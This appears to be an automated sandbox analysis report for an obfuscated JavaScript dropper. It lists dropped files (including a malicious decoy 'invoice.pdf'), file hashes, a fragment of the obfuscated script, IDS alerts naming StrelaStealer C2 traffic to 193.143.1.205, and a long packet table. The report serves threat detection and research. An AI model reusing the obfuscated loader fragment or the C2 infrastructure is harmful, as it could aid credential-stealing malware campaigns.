SSDEEP:	24576:/M7ogdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07WWLaGZjZwYIGNPJe:RY3mlind9i4ufFXpAXkrfUs0qWLaGZje
MD5:	1614FD02A0D08FC8949AC62D09D95BF5
SHA1:	3F738ED66A8BE80440D335A457E79F8133B75E08
SHA-256:	F5D3FECC28858D6BDBA062A092B12123280A38892CE1EEC121DB678EE2B2E577
SHA-512:	E37A80F279BC2C6C038DDCA8BEBAB206DA3146D45639D984F4A412AAA38BA6BF4B73D1C934B40ECD6D0CA315A520CA506F108AA087E6D39B0E6ABC591E10B5F8
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (14861), with CRLF line terminators
Entropy (8bit):	4.920525092738287
TrID:
File name:	22951172482589918451.js
File size:	18'346 bytes
MD5:	a25ddd93d0dd84cc66b403ba82ddc665
SHA1:	85b0bf09a93ef4fefb017ac6ee29eee70ed11a79
SHA256:	f206f4363f94d9de6820c92ea8c56c96b57590bf5082576b40eba730478b0507
SHA512:	0d85b4c5e8bb265ef2d7bf9d8ab5196896f09a6b981203903cd0e10d199075d82876ae9b128a6d0039ab75bb0c3f57ef7b29239abf735595e6c46b2a4ed5fc61
SSDEEP:	192:zngrzz2gZZzZZ98Hcgl0ULOOtPenV0V2H96VazAr3B9VLNp6xb6zPw0xcpZ20CVC:DgvzIHTl0t8Peh6oza3IkjogMA8RayF
TLSH:	D78254848983C9CBD4FA82CAD6C50A4E51C259AECD8585ED81027C26035E97FF5DF3FA
File Content Preview:	function orxrltwmc(){axzazc=[1031,3079,5127,4103,2055,3072];var gebpjy=this[maxzua+lnrygircs+tzejfa+vqixlubf+zewodba+nxrwv+fzmsyigef+fejddlom](this[nxfgr+epafsl+ouspovnnw+tzejfa+usbzc+maxzua+fejddlom][twzoqez+tzejfa+zewodba+lnrygircs+fejddlom+zewodba+phbc

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T03:43:27.019959+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.8	49705	193.143.1.205	80	TCP
2025-01-11T03:43:27.019959+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.8	49705	193.143.1.205	80	TCP
2025-01-11T03:43:29.496230+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.8	49706	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 03:43:26.184429884 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:26.189523935 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:26.189614058 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:26.192140102 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:26.196988106 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.019776106 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.019805908 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.019819975 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.019834042 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.019879103 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.019891977 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.019913912 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.019927979 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.019958973 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.020003080 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.020085096 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.020098925 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.020196915 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.082809925 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.082819939 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.082916975 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.144690990 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.144714117 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.144797087 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.144808054 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.144844055 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.144844055 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.144922018 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.144992113 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.145004988 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.145042896 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.145054102 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.145097971 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.145616055 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.145628929 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.145642042 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.145704031 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.145709038 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.145723104 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.145770073 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.146538019 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.146552086 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.146564007 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.146608114 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.146611929 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.146611929 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.146621943 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.146675110 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.147344112 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.147392988 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.147404909 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.147484064 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.147506952 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.147555113 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.212997913 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.213021040 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.213155031 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.261646986 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.261687994 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.261723042 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.261751890 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.270066977 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.270098925 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.270191908 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.270226955 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.270256996 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.270293951 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.270430088 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.270442009 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.270478964 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.270500898 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.270515919 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.270571947 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.270606041 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.270642042 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.270648956 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.270648956 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.270685911 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.270694017 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.271147013 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.271163940 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.271178007 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.271224976 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.271224976 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.271259069 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.271292925 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.271344900 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.271369934 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.271792889 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.271827936 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.271863937 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.271907091 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.271907091 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.271918058 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.271966934 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.272001028 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.272039890 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.272043943 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.272094011 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.272568941 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.272620916 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.272659063 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.272692919 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.272737980 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.272737980 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.272787094 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.272820950 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.272857904 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.272898912 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.273498058 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.273533106 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.273567915 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.273611069 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.273611069 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.273646116 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.273680925 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.273715019 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.273750067 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.273756981 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.273808002 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.274399042 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.274431944 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.274467945 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.274514914 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.274561882 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.274561882 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.301717997 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.301772118 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.301808119 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.301841974 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.302028894 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.302028894 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.350250006 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.350274086 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.350368977 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.387101889 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.387144089 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.387197018 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.387234926 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.387270927 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.387339115 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.387360096 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.387362003 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.387392044 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.387438059 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.395551920 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.395589113 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.395622969 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.395664930 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.395706892 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.395899057 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.395935059 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.395970106 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.396033049 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.396042109 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.396121025 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.396189928 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.396210909 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.396226883 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.396262884 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.396298885 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.396306038 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.396306038 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.396461964 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.396516085 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.396552086 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.396586895 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.396600008 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.396645069 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.396686077 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.396734953 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.396769047 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.396790028 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.396802902 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.396838903 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.396848917 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.396934986 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.397499084 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.397548914 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.397602081 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.397607088 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.397655010 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.397710085 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.397716045 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.397746086 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.397780895 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.397821903 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.397835016 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.397867918 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.397891998 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.398313999 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.398370028 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.398387909 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.398405075 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.398456097 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.398545980 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.398581982 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.398631096 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.398637056 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.398672104 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.398705959 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.398736954 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.399064064 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.399116039 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.399152040 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.399194002 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.399194002 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.399228096 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.399266005 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.399352074 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.399385929 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.399415016 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.399420977 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.399457932 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.399467945 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.399583101 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.399961948 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.400017023 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.400053024 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.400090933 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.400119066 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.400154114 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.400182962 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.400191069 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.400226116 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.400260925 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.400273085 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.400296926 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.400346041 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.400892019 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.400926113 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.400949955 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.400991917 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.401029110 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.401051044 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.401079893 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.401098967 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.401124954 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.401134968 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.401176929 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.401212931 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.401257038 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.401257038 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.401770115 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.401824951 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.401860952 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.401896954 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.401931047 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.401978970 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.401979923 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.404369116 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.416158915 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.439151049 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.439192057 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.439227104 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.439263105 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.439306021 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.439357042 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.443294048 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:43:27.504007101 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:43:27.504029989 CET	80	49705	193.143.1.205	192.168.2.8
